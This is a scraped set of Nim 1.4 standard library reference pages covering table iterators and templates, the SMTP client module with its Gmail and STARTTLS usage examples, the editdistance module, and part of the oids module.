TableRef[A, B]): A ``` Iterates over any key in the table `t`. See also: * [pairs iterator](#pairs.i,TableRef%5BA,B%5D) * [values iterator](#values.i,TableRef%5BA,B%5D) **Example:** ``` let a = { 'o': @[1, 5, 7, 9], 'e': @[2, 4, 6, 8] }.newTable for k in a.keys: a[k].add(99) doAssert a == {'e': @[2, 4, 6, 8, 99], 'o': @[1, 5, 7, 9, 99]}.newTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1149) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1149) ``` iterator values[A, B](t: TableRef[A, B]): B ``` Iterates over any value in the table `t`. See also: * [pairs iterator](#pairs.i,TableRef%5BA,B%5D) * [keys iterator](#keys.i,TableRef%5BA,B%5D) * [mvalues iterator](#mvalues.i,TableRef%5BA,B%5D) **Example:** ``` let a = { 'o': @[1, 5, 7, 9], 'e': @[2, 4, 6, 8] }.newTable for v in a.values: doAssert v.len == 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1170) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1170) ``` iterator mvalues[A, B](t: TableRef[A, B]): var B ``` Iterates over any value in the table `t`. The values can be modified. See also: * [mpairs iterator](#mpairs.i,TableRef%5BA,B%5D) * [values iterator](#values.i,TableRef%5BA,B%5D) **Example:** ``` let a = { 'o': @[1, 5, 7, 9], 'e': @[2, 4, 6, 8] }.newTable for v in a.mvalues: v.add(99) doAssert a == {'e': @[2, 4, 6, 8, 99], 'o': @[1, 5, 7, 9, 99]}.newTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1191) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1191) ``` iterator pairs[A, B](t: OrderedTable[A, B]): (A, B) ``` Iterates over any `(key, value)` pair in the table `t` in insertion order. See also: * [mpairs iterator](#mpairs.i,OrderedTable%5BA,B%5D) * [keys iterator](#keys.i,OrderedTable%5BA,B%5D) * [values iterator](#values.i,OrderedTable%5BA,B%5D) **Examples:** ``` let a = { 'o': [1, 5, 7, 9], 'e': [2, 4, 6, 8] }.toOrderedTable for k, v in a.pairs: echo "key: ", k echo "value: ", v # key: o # value: [1, 5, 7, 9] # key: e # value: [2, 4, 6, 8] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1672) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1672) ``` iterator mpairs[A, B](t: var OrderedTable[A, B]): (A, var B) ``` Iterates over any `(key, value)` pair in the table `t` (must be declared as `var`) in insertion order. The values can be modified. See also: * [pairs iterator](#pairs.i,OrderedTable%5BA,B%5D) * [mvalues iterator](#mvalues.i,OrderedTable%5BA,B%5D) **Example:** ``` var a = { 'o': @[1, 5, 7, 9], 'e': @[2, 4, 6, 8] }.toOrderedTable for k, v in a.mpairs: v.add(v[0] + 10) doAssert a == {'o': @[1, 5, 7, 9, 11], 'e': @[2, 4, 6, 8, 12]}.toOrderedTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1703) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1703) ``` iterator keys[A, B](t: OrderedTable[A, B]): A ``` Iterates over any key in the table `t` in insertion order. See also: * [pairs iterator](#pairs.i,OrderedTable%5BA,B%5D) * [values iterator](#values.i,OrderedTable%5BA,B%5D) **Example:** ``` var a = { 'o': @[1, 5, 7, 9], 'e': @[2, 4, 6, 8] }.toOrderedTable for k in a.keys: a[k].add(99) doAssert a == {'o': @[1, 5, 7, 9, 99], 'e': @[2, 4, 6, 8, 99]}.toOrderedTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1725) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1725) ``` iterator values[A, B](t: OrderedTable[A, B]): B ``` Iterates over any value in the table `t` in insertion order. See also: * [pairs iterator](#pairs.i,OrderedTable%5BA,B%5D) * [keys iterator](#keys.i,OrderedTable%5BA,B%5D) * [mvalues iterator](#mvalues.i,OrderedTable%5BA,B%5D) **Example:** ``` let a = { 'o': @[1, 5, 7, 9], 'e': @[2, 4, 6, 8] }.toOrderedTable for v in a.values: doAssert v.len == 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1746) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1746) ``` iterator mvalues[A, B](t: var OrderedTable[A, B]): var B ``` Iterates over any value in the table `t` (must be declared as `var`) in insertion order. The values can be modified. See also: * [mpairs iterator](#mpairs.i,OrderedTable%5BA,B%5D) * [values iterator](#values.i,OrderedTable%5BA,B%5D) **Example:** ``` var a = { 'o': @[1, 5, 7, 9], 'e': @[2, 4, 6, 8] }.toOrderedTable for v in a.mvalues: v.add(99) doAssert a == {'o': @[1, 5, 7, 9, 99], 'e': @[2, 4, 6, 8, 99]}.toOrderedTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1766) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1766) ``` iterator pairs[A, B](t: OrderedTableRef[A, B]): (A, B) ``` Iterates over any `(key, value)` pair in the table `t` in insertion order. See also: * [mpairs iterator](#mpairs.i,OrderedTableRef%5BA,B%5D) * [keys iterator](#keys.i,OrderedTableRef%5BA,B%5D) * [values iterator](#values.i,OrderedTableRef%5BA,B%5D) **Examples:** ``` let a = { 'o': [1, 5, 7, 9], 'e': [2, 4, 6, 8] }.newOrderedTable for k, v in a.pairs: echo "key: ", k echo "value: ", v # key: o # value: [1, 5, 7, 9] # key: e # value: [2, 4, 6, 8] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2080) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2080) ``` iterator mpairs[A, B](t: OrderedTableRef[A, B]): (A, var B) ``` Iterates over any `(key, value)` pair in the table `t` in insertion order. The values can be modified. See also: * [pairs iterator](#pairs.i,OrderedTableRef%5BA,B%5D) * [mvalues iterator](#mvalues.i,OrderedTableRef%5BA,B%5D) **Example:** ``` let a = { 'o': @[1, 5, 7, 9], 'e': @[2, 4, 6, 8] }.newOrderedTable for k, v in a.mpairs: v.add(v[0] + 10) doAssert a == {'o': @[1, 5, 7, 9, 11], 'e': @[2, 4, 6, 8, 12]}.newOrderedTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2111) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2111) ``` iterator keys[A, B](t: OrderedTableRef[A, B]): A ``` Iterates over any key in the table `t` in insertion order. See also: * [pairs iterator](#pairs.i,OrderedTableRef%5BA,B%5D) * [values iterator](#values.i,OrderedTableRef%5BA,B%5D) **Example:** ``` let a = { 'o': @[1, 5, 7, 9], 'e': @[2, 4, 6, 8] }.newOrderedTable for k in a.keys: a[k].add(99) doAssert a == {'o': @[1, 5, 7, 9, 99], 'e': @[2, 4, 6, 8, 99]}.newOrderedTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2133) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2133) ``` iterator values[A, B](t: OrderedTableRef[A, B]): B ``` Iterates over any value in the table `t` in insertion order. See also: * [pairs iterator](#pairs.i,OrderedTableRef%5BA,B%5D) * [keys iterator](#keys.i,OrderedTableRef%5BA,B%5D) * [mvalues iterator](#mvalues.i,OrderedTableRef%5BA,B%5D) **Example:** ``` let a = { 'o': @[1, 5, 7, 9], 'e': @[2, 4, 6, 8] }.newOrderedTable for v in a.values: doAssert v.len == 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2154) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2154) ``` iterator mvalues[A, B](t: OrderedTableRef[A, B]): var B ``` Iterates over any value in the table `t` in insertion order. The values can be modified. See also: * [mpairs iterator](#mpairs.i,OrderedTableRef%5BA,B%5D) * [values iterator](#values.i,OrderedTableRef%5BA,B%5D) **Example:** ``` let a = { 'o': @[1, 5, 7, 9], 'e': @[2, 4, 6, 8] }.newOrderedTable for v in a.mvalues: v.add(99) doAssert a == {'o': @[1, 5, 7, 9, 99], 'e': @[2, 4, 6, 8, 99]}.newOrderedTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2174) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2174) ``` iterator pairs[A](t: CountTable[A]): (A, int) ``` Iterates over any `(key, value)` pair in the table `t`. See also: * [mpairs iterator](#mpairs.i,CountTable%5BA%5D) * [keys iterator](#keys.i,CountTable%5BA%5D) * [values iterator](#values.i,CountTable%5BA%5D) **Examples:** ``` let a = toCountTable("abracadabra") for k, v in pairs(a): echo "key: ", k echo "value: ", v # key: a # value: 5 # key: b # value: 2 # key: c # value: 1 # key: d # value: 1 # key: r # value: 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2494) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2494) ``` iterator mpairs[A](t: var CountTable[A]): (A, var int) ``` Iterates over any `(key, value)` pair in the table `t` (must be declared as `var`). The values can be modified. See also: * [pairs iterator](#pairs.i,CountTable%5BA%5D) * [mvalues iterator](#mvalues.i,CountTable%5BA%5D) **Example:** ``` var a = toCountTable("abracadabra") for k, v in mpairs(a): v = 2 doAssert a == toCountTable("aabbccddrr") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2527) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2527) ``` iterator keys[A](t: CountTable[A]): A ``` Iterates over any key in the table `t`. See also: * [pairs iterator](#pairs.i,CountTable%5BA%5D) * [values iterator](#values.i,CountTable%5BA%5D) **Example:** ``` var a = toCountTable("abracadabra") for k in keys(a): a[k] = 2 doAssert a == toCountTable("aabbccddrr") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2546) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2546) ``` iterator values[A](t: CountTable[A]): int ``` Iterates over any value in the table `t`. See also: * [pairs iterator](#pairs.i,CountTable%5BA%5D) * [keys iterator](#keys.i,CountTable%5BA%5D) * [mvalues iterator](#mvalues.i,CountTable%5BA%5D) **Example:** ``` let a = toCountTable("abracadabra") for v in values(a): assert v < 10 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2564) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2564) ``` iterator mvalues[A](t: var CountTable[A]): var int ``` Iterates over any value in the table `t` (must be declared as `var`). The values can be modified. See also: * [mpairs iterator](#mpairs.i,CountTable%5BA%5D) * [values iterator](#values.i,CountTable%5BA%5D) **Example:** ``` var a = toCountTable("abracadabra") for v in mvalues(a): v = 2 doAssert a == toCountTable("aabbccddrr") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2582) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2582) ``` iterator pairs[A](t: CountTableRef[A]): (A, int) ``` Iterates over any `(key, value)` pair in the table `t`. See also: * [mpairs iterator](#mpairs.i,CountTableRef%5BA%5D) * [keys iterator](#keys.i,CountTableRef%5BA%5D) * [values iterator](#values.i,CountTableRef%5BA%5D) **Examples:** ``` let a = newCountTable("abracadabra") for k, v in pairs(a): echo "key: ", k echo "value: ", v # key: a # value: 5 # key: b # value: 2 # key: c # value: 1 # key: d # value: 1 # key: r # value: 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2770) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2770) ``` iterator mpairs[A](t: CountTableRef[A]): (A, var int) ``` Iterates over any `(key, value)` pair in the table `t`. The values can be modified. See also: * [pairs iterator](#pairs.i,CountTableRef%5BA%5D) * [mvalues iterator](#mvalues.i,CountTableRef%5BA%5D) **Example:** ``` let a = newCountTable("abracadabra") for k, v in mpairs(a): v = 2 doAssert a == newCountTable("aabbccddrr") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2803) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2803) ``` iterator keys[A](t: CountTableRef[A]): A ``` Iterates over any key in the table `t`. See also: * [pairs iterator](#pairs.i,CountTable%5BA%5D) * [values iterator](#values.i,CountTable%5BA%5D) **Example:** ``` let a = newCountTable("abracadabra") for k in keys(a): a[k] = 2 doAssert a == newCountTable("aabbccddrr") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2822) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2822) ``` iterator values[A](t: CountTableRef[A]): int ``` Iterates over any value in the table `t`. See also: * [pairs iterator](#pairs.i,CountTableRef%5BA%5D) * [keys iterator](#keys.i,CountTableRef%5BA%5D) * [mvalues iterator](#mvalues.i,CountTableRef%5BA%5D) **Example:** ``` let a = newCountTable("abracadabra") for v in values(a): assert v < 10 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2840) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2840) ``` iterator mvalues[A](t: CountTableRef[A]): var int ``` Iterates over any value in the table `t`. The values can be modified. See also: * [mpairs iterator](#mpairs.i,CountTableRef%5BA%5D) * [values iterator](#values.i,CountTableRef%5BA%5D) **Example:** ``` var a = newCountTable("abracadabra") for v in mvalues(a): v = 2 doAssert a == newCountTable("aabbccddrr") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2858) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2858) Templates --------- ``` template withValue[A; B](t: var Table[A, B]; key: A; value, body: untyped) ``` Retrieves the value at `t[key]`. `value` can be modified in the scope of the `withValue` call. ``` sharedTable.withValue(key, value) do: # block is executed only if ``key`` in ``t`` value.name = "username" value.uid = 1000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L606) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L606) ``` template withValue[A; B](t: var Table[A, B]; key: A; value, body1, body2: untyped) ``` Retrieves the value at `t[key]`. `value` can be modified in the scope of the `withValue` call. ``` table.withValue(key, value) do: # block is executed only if ``key`` in ``t`` value.name = "username" value.uid = 1000 do: # block is executed when ``key`` not in ``t`` raise newException(KeyError, "Key not found") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L626) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L626)
programming_docs
nim smtp smtp ==== This module implements the SMTP client protocol as specified by RFC 5321, this can be used to send mail to any SMTP Server. This module also implements the protocol used to format messages, as specified by RFC 2822. Example gmail use: ``` var msg = createMessage("Hello from Nim's SMTP", "Hello!.\n Is this awesome or what?", @["[email protected]"]) let smtpConn = newSmtp(useSsl = true, debug=true) smtpConn.connect("smtp.gmail.com", Port 465) smtpConn.auth("username", "password") smtpConn.sendmail("[email protected]", @["[email protected]"], $msg) ``` Example for startTls use: ``` var msg = createMessage("Hello from Nim's SMTP", "Hello!.\n Is this awesome or what?", @["[email protected]"]) let smtpConn = newSmtp(debug=true) smtpConn.connect("smtp.mailtrap.io", Port 2525) smtpConn.startTls() smtpConn.auth("username", "password") smtpConn.sendmail("[email protected]", @["[email protected]"], $msg) ``` For SSL support this module relies on OpenSSL. If you want to enable SSL, compile with `-d:ssl`. Imports ------- <net>, <strutils>, <strtabs>, <base64>, <os>, <strutils>, <asyncnet>, <asyncdispatch>, <parsecfg> Types ----- ``` Message = object msgTo: seq[string] msgCc: seq[string] msgSubject: string msgOtherHeaders: StringTableRef msgBody: string ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/smtp.nim#L52) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/smtp.nim#L52) ``` ReplyError = object of IOError ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/smtp.nim#L59) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/smtp.nim#L59) ``` Smtp = SmtpBase[Socket] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/smtp.nim#L66) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/smtp.nim#L66) ``` AsyncSmtp = SmtpBase[AsyncSocket] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/smtp.nim#L67) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/smtp.nim#L67) Procs ----- ``` proc debugSend(smtp: AsyncSmtp; cmd: string): owned(Future[void]) {...}{. raises: [Exception], tags: [RootEffect].} ``` Sends `cmd` on the socket connected to the SMTP server. If the `smtp` object was created with `debug` enabled, debugSend will invoke `echo("C:" & cmd)` before sending. This is a lower level proc and not something that you typically would need to call when using this module. One exception to this is if you are implementing any [SMTP extensions](https://en.wikipedia.org/wiki/Extended_SMTP). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/smtp.nim#L74) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/smtp.nim#L74) ``` proc debugSend(smtp: Smtp; cmd: string) {...}{.raises: [SslError, OSError], tags: [WriteIOEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/smtp.nim#L74) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/smtp.nim#L74) ``` proc debugRecv(smtp: AsyncSmtp): Future[TaintedString] {...}{. raises: [Exception, ValueError], tags: [RootEffect].} ``` Receives a line of data from the socket connected to the SMTP server. If the `smtp` object was created with `debug` enabled, debugRecv will invoke `echo("S:" & result.string)` after the data is received. This is a lower level proc and not something that you typically would need to call when using this module. One exception to this is if you are implementing any [SMTP extensions](https://en.wikipedia.org/wiki/Extended_SMTP). See [checkReply(reply)](#checkReply,,string). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/smtp.nim#L89) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/smtp.nim#L89) ``` proc debugRecv(smtp: Smtp): TaintedString {...}{. raises: [TimeoutError, OSError, SslError], tags: [ReadIOEffect, TimeEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/smtp.nim#L89) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/smtp.nim#L89) ``` proc createMessage(mSubject, mBody: string; mTo, mCc: seq[string]; otherHeaders: openArray[tuple[name, value: string]]): Message {...}{. raises: [], tags: [].} ``` Creates a new MIME compliant message. You need to make sure that `mSubject`, `mTo` and `mCc` don't contain any newline characters. Failing to do so will raise `AssertionDefect`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/smtp.nim#L124) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/smtp.nim#L124) ``` proc createMessage(mSubject, mBody: string; mTo, mCc: seq[string] = @[]): Message {...}{. raises: [], tags: [].} ``` Alternate version of the above. You need to make sure that `mSubject`, `mTo` and `mCc` don't contain any newline characters. Failing to do so will raise `AssertionDefect`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/smtp.nim#L143) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/smtp.nim#L143) ``` proc `$`(msg: Message): string {...}{.raises: [], tags: [].} ``` stringify for `Message`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/smtp.nim#L159) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/smtp.nim#L159) ``` proc newSmtp(useSsl = false; debug = false; sslContext: SslContext = nil): Smtp {...}{. raises: [OSError, SslError, Exception, LibraryError, IOError], tags: [RootEffect, ReadDirEffect, ReadEnvEffect].} ``` Creates a new `Smtp` instance. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/smtp.nim#L174) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/smtp.nim#L174) ``` proc newAsyncSmtp(useSsl = false; debug = false; sslContext: SslContext = nil): AsyncSmtp {...}{. raises: [OSError, Exception, SslError, LibraryError, IOError], tags: [RootEffect, ReadDirEffect, ReadEnvEffect].} ``` Creates a new `AsyncSmtp` instance. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/smtp.nim#L189) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/smtp.nim#L189) ``` proc checkReply(smtp: AsyncSmtp; reply: string): owned(Future[void]) {...}{. raises: [Exception], tags: [RootEffect].} ``` Calls [debugRecv](#debugRecv) and checks that the received data starts with `reply`. If the received data does not start with `reply`, then a `QUIT` command will be sent to the SMTP server and a `ReplyError` exception will be raised. This is a lower level proc and not something that you typically would need to call when using this module. One exception to this is if you are implementing any [SMTP extensions](https://en.wikipedia.org/wiki/Extended_SMTP). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/smtp.nim#L213) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/smtp.nim#L213) ``` proc checkReply(smtp: Smtp; reply: string) {...}{. raises: [TimeoutError, OSError, SslError, ReplyError], tags: [ReadIOEffect, TimeEffect, WriteIOEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/smtp.nim#L213) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/smtp.nim#L213) ``` proc helo(smtp: AsyncSmtp): owned(Future[void]) {...}{.raises: [Exception], tags: [RootEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/smtp.nim#L228) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/smtp.nim#L228) ``` proc helo(smtp: Smtp) {...}{.raises: [SslError, OSError, TimeoutError, ReplyError], tags: [WriteIOEffect, ReadIOEffect, TimeEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/smtp.nim#L228) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/smtp.nim#L228) ``` proc connect(smtp: AsyncSmtp; address: string; port: Port): owned(Future[void]) {...}{. raises: [Exception], tags: [RootEffect].} ``` Establishes a connection with a SMTP server. May fail with ReplyError or with a socket error. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/smtp.nim#L233) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/smtp.nim#L233) ``` proc connect(smtp: Smtp; address: string; port: Port) {...}{. raises: [OSError, SslError, TimeoutError, ReplyError], tags: [ReadIOEffect, TimeEffect, WriteIOEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/smtp.nim#L234) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/smtp.nim#L234) ``` proc startTls(smtp: AsyncSmtp; sslContext: SslContext = nil): owned(Future[void]) {...}{. raises: [Exception], tags: [RootEffect, ReadDirEffect, ReadEnvEffect].} ``` Put the SMTP connection in TLS (Transport Layer Security) mode. May fail with ReplyError [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/smtp.nim#L242) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/smtp.nim#L242) ``` proc startTls(smtp: Smtp; sslContext: SslContext = nil) {...}{.raises: [SslError, OSError, TimeoutError, ReplyError, Exception, LibraryError, IOError], tags: [ WriteIOEffect, ReadIOEffect, TimeEffect, RootEffect, ReadDirEffect, ReadEnvEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/smtp.nim#L242) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/smtp.nim#L242) ``` proc auth(smtp: AsyncSmtp; username, password: string): owned(Future[void]) {...}{. raises: [Exception], tags: [RootEffect].} ``` Sends an AUTH command to the server to login as the `username` using `password`. May fail with ReplyError. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/smtp.nim#L256) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/smtp.nim#L256) ``` proc auth(smtp: Smtp; username, password: string) {...}{. raises: [SslError, OSError, TimeoutError, ReplyError], tags: [WriteIOEffect, ReadIOEffect, TimeEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/smtp.nim#L256) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/smtp.nim#L256) ``` proc sendMail(smtp: AsyncSmtp; fromAddr: string; toAddrs: seq[string]; msg: string): owned(Future[void]) {...}{.raises: [Exception], tags: [RootEffect].} ``` Sends `msg` from `fromAddr` to the addresses specified in `toAddrs`. Messages may be formed using `createMessage` by converting the Message into a string. You need to make sure that `fromAddr` and `toAddrs` don't contain any newline characters. Failing to do so will raise `AssertionDefect`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/smtp.nim#L270) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/smtp.nim#L270) ``` proc sendMail(smtp: Smtp; fromAddr: string; toAddrs: seq[string]; msg: string) {...}{. raises: [SslError, OSError, TimeoutError, ReplyError], tags: [WriteIOEffect, ReadIOEffect, TimeEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/smtp.nim#L271) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/smtp.nim#L271) ``` proc close(smtp: AsyncSmtp): owned(Future[void]) {...}{.raises: [Exception], tags: [RootEffect].} ``` Disconnects from the SMTP server and closes the socket. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/smtp.nim#L294) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/smtp.nim#L294) ``` proc close(smtp: Smtp) {...}{.raises: [SslError, OSError, Exception, LibraryError], tags: [WriteIOEffect, RootEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/smtp.nim#L294) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/smtp.nim#L294) Exports ------- [Port](nativesockets#Port) nim editdistance editdistance ============ This module implements an algorithm to compute the edit distance between two Unicode strings. Imports ------- <unicode> Procs ----- ``` proc editDistance(a, b: string): int {...}{.noSideEffect, raises: [], tags: [].} ``` Returns the **unicode-rune** edit distance between `a` and `b`. This uses the Levenshtein distance algorithm with only a linear memory overhead. **Example:** ``` static: doAssert editdistance("Kitten", "Bitten") == 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/editdistance.nim#L15) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/editdistance.nim#L15) ``` proc editDistanceAscii(a, b: string): int {...}{.noSideEffect, raises: [], tags: [].} ``` Returns the edit distance between `a` and `b`. This uses the Levenshtein distance algorithm with only a linear memory overhead. **Example:** ``` static: doAssert editDistanceAscii("Kitten", "Bitten") == 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/editdistance.nim#L180) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/editdistance.nim#L180) nim oids oids ==== Nim OID support. An OID is a global ID that consists of a timestamp, a unique counter and a random value. This combination should suffice to produce a globally distributed unique ID. This implementation was extracted from the Mongodb interface and it thus binary compatible with a Mongo OID. This implementation calls `math.randomize()` for the first call of `genOid`. Imports ------- <hashes>, <times>, <endians> Types ----- ``` Oid = object time: int32 fuzz: int32 count: int32 ``` an OID [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/oids.nim#L21) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/oids.nim#L21) Procs ----- ``` proc `==`(oid1: Oid; oid2: Oid): bool {...}{.raises: [], tags: [].} ``` Compare two Mongo Object IDs for equality [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/oids.nim#L26) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/oids.nim#L26) ``` proc hash(oid: Oid): Hash {...}{.raises: [], tags: [].} ``` Generate hash of Oid for use in hashtables [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/oids.nim#L31) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/oids.nim#L31) ``` proc hexbyte(hex: char): int {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/oids.nim#L39) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/oids.nim#L39) ``` proc parseOid(str: cstring): Oid {...}{.raises: [], tags: [].} ``` parses an OID. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/oids.nim#L46) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/oids.nim#L46) ``` proc oidToString(oid: Oid; str: cstring) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/oids.nim#L54) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/oids.nim#L54) ``` proc `$`(oid: Oid): string {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/oids.nim#L68) 